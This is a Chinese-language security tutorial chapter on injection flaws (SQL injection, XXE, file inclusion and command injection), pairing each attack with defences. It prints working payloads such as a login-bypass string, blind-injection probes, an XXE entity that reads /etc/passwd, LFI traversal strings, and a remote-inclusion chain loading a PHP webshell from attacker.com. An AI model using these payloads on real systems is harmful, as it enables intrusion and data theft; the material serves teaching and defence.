注入类漏洞¶
2.1 SQL 注入的本质与利用¶
SQL 注入的根本原因是数据与代码的边界模糊。用户的输入本应只是"数据",但由于直接拼接到 SQL 语句中,它被数据库解释器当作"代码"执行了。
正常逻辑 vs 注入逻辑
假设后端代码:
正常登录:
- 用户输入 admin / 123456
- SQL 变成:SELECT * FROM users WHERE username='admin' AND password='123456'
注入登录:
- 用户输入 admin' OR '1'='1' -- / 任意密码
- SQL 变成:SELECT * FROM users WHERE username='admin' OR '1'='1' -- ' AND password='xxx'
- -- 是 SQL 注释符,后面的密码校验被注释掉了;'1'='1' 永远为真,绕过认证
SQL 注入的分类与识别
| 类型 | 核心特征 | 判断方法 |
|---|---|---|
| 联合查询注入 | 页面会显示查询结果,可用 UNION SELECT 追加数据 |
先用 ORDER BY 确定列数,再逐列测试数据回显位置 |
| 报错注入 | 数据库错误信息直接回显到页面 | 利用 updatexml()、extractvalue() 等函数让错误信息中包含敏感数据 |
| 布尔盲注 | 页面只有"正常/异常"两种状态,无数据回显 | AND 1=1 正常、AND 1=2 异常,说明注入点存在 |
| 时间盲注 | 页面完全无变化 | AND IF(1=1, SLEEP(5), 0),若响应延迟 5 秒则存在注入 |
| 堆叠注入 | 数据库支持多语句执行(MSSQL、PostgreSQL 默认支持,MySQL 需配置) | 使用 ; 分隔多条 SQL 语句 |
| 宽字节注入 | 数据库使用 GBK 等多字节编码 | %df%27 被 GBK 解码为 運',吃掉转义符 \ |
不同数据库的差异化利用
每种数据库有各自的系统表、函数和语法特性,注入时需要针对性构造 Payload:
| 数据库 | 查版本 | 查当前用户 | 查所有表名 |
|---|---|---|---|
| MySQL | SELECT VERSION() |
SELECT USER() |
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() |
| MSSQL | SELECT @@VERSION |
SELECT SYSTEM_USER |
SELECT name FROM sys.databases |
| Oracle | SELECT * FROM v$version |
SELECT user FROM dual |
SELECT table_name FROM all_tables |
| PostgreSQL | SELECT VERSION() |
SELECT current_user |
SELECT tablename FROM pg_tables |
从注入到脱库的完整思路:
1. 确认注入点(单引号报错、逻辑恒真/恒假测试)
2. 确定数据库类型(通过报错信息、特定函数试探)
3. 查当前数据库名 → 查所有表名 → 查目标表的列名 → 查具体数据
4. 若权限足够,尝试 INTO OUTFILE 写 webshell,或读取服务器文件
防御的核心原则: 参数化查询(Prepared Statements)是最根本的防御。它将 SQL 结构预编译,用户输入只作为参数传入,数据库永远不会将输入解释为 SQL 代码。
# 安全写法(Python + MySQL)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (user, pwd))
# 危险写法
cursor.execute("SELECT * FROM users WHERE username = '" + user + "'")
2.2 XML 外部实体注入(XXE)¶
XML 解析器在处理文档时,可能允许文档中定义"外部实体"并引用外部资源。这个设计本意是方便文档复用,但在安全场景下成了文件读取和内网探测的通道。
攻击原理:
XML 文档可以包含 DTD(文档类型定义),DTD 中可以声明实体。当实体声明为 SYSTEM 类型并指向外部 URL 时,解析器会尝试访问该 URL 并将结果嵌入文档。
典型的 XXE 攻击载荷:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
解析器在处理 &xxe; 时,会读取 /etc/passwd 的内容并嵌入到 data 标签中返回。
XXE 的多层次危害:
| 攻击目标 | 载荷示例 | 效果 |
|---|---|---|
| 读取本地文件 | file:///etc/passwd |
获取系统用户信息 |
| 读取 Windows 文件 | file:///c:/windows/win.ini |
获取 Windows 系统配置 |
| 探测内网端口 | http://192.168.1.1:22 |
根据响应时间和内容判断端口开放 |
| 内网服务攻击 | http://internal-api.com/delete?user=1 |
利用 SSRF 攻击内网接口 |
| 远程命令执行(PHP) | expect://id |
在安装了 expect 扩展的 PHP 环境中执行命令 |
一个隐蔽的攻击场景:
某系统支持 DOCX 文件上传。DOCX 本质是一个 ZIP 压缩包,内部包含多个 XML 文件。攻击者解压 DOCX,修改 word/_rels/document.xml.rels 中的某个关系指向:
/etc/passwd 的内容被嵌入到输出中返回给攻击者。
防御方法:
- 最根本的防御是禁用外部实体解析。PHP 中:libxml_disable_entity_loader(true)
- 升级 libxml 到 2.9.0 以上版本(默认禁用外部实体)
- 若业务不需要 XML,优先使用 JSON 作为数据交换格式
- 对上传的 Office 文档使用专门的解析库(如 Apache POI),而非通用 XML 解析器
2.3 代码注入:文件包含与命令执行¶
远程文件包含(RFI)
当应用使用用户可控的路径来 include 或 require 文件,且未限制协议时,攻击者可以传入一个远程 URL,让服务器加载并执行远程服务器上的恶意代码。
攻击链:
1. 攻击者在控制的服务器上放置 shell.txt,内容为 <?php system($_GET['cmd']); ?>
2. 构造请求:vuln.php?page=http://attacker.com/shell.txt
3. 服务器下载该文件并以 PHP 解析执行,获得 webshell
防御:PHP 配置中关闭 allow_url_include 和 allow_url_fopen;对包含路径使用白名单校验。
本地文件包含(LFI)
当包含路径被限制在服务器本地时,攻击者利用路径遍历(../)读取敏感文件。更严重的是,配合日志文件或上传的临时文件,可能将 LFI 升级为代码执行。
| 目标 | 利用方式 |
|---|---|
| 读取配置文件 | ?file=../../../etc/passwd |
| 读取应用源码 | ?file=php://filter/read=convert.base64-encode/resource=index.php |
| 配合日志文件 | 先在 User-Agent 中写入 PHP 代码,再包含访问日志文件 |
| PHP 伪协议执行 | php://input 配合 POST 数据直接执行 PHP 代码 |
命令执行(Command Injection)
应用程序调用系统命令时若未对用户输入过滤,攻击者可通过 Shell 元字符注入额外命令。
高危字符:| ; & $ > < \ 以及反引号 `
// 危险代码
system("ping -c 4 " . $_GET['ip']);
// 攻击输入:127.0.0.1; cat /etc/passwd
// 实际执行:ping -c 4 127.0.0.1; cat /etc/passwd
第三方组件的命令执行漏洞:
- Struts2 S2-045(CVE-2017-5638):通过 Content-Type 头注入 OGNL 表达式,OGNL 可调用 Runtime.exec() 执行任意命令
- ImageMagick(CVE-2016-3714):处理图片时解析图片文件名中的 MVG 语法,其中的 ephemeral:// 或 msl: 可导致命令执行
防御核心: 永远不要将用户输入拼接到命令字符串中。若必须调用系统命令,使用参数化 API:
# Python 安全写法
subprocess.run(['ping', '-c', '4', ip], capture_output=True)
# 危险写法
os.system("ping -c 4 " + ip)
总结¶
- 2.1 SQL 注入的本质与利用
- 2.2 XML 外部实体注入(XXE)
- 2.3 代码注入:文件包含与命令执行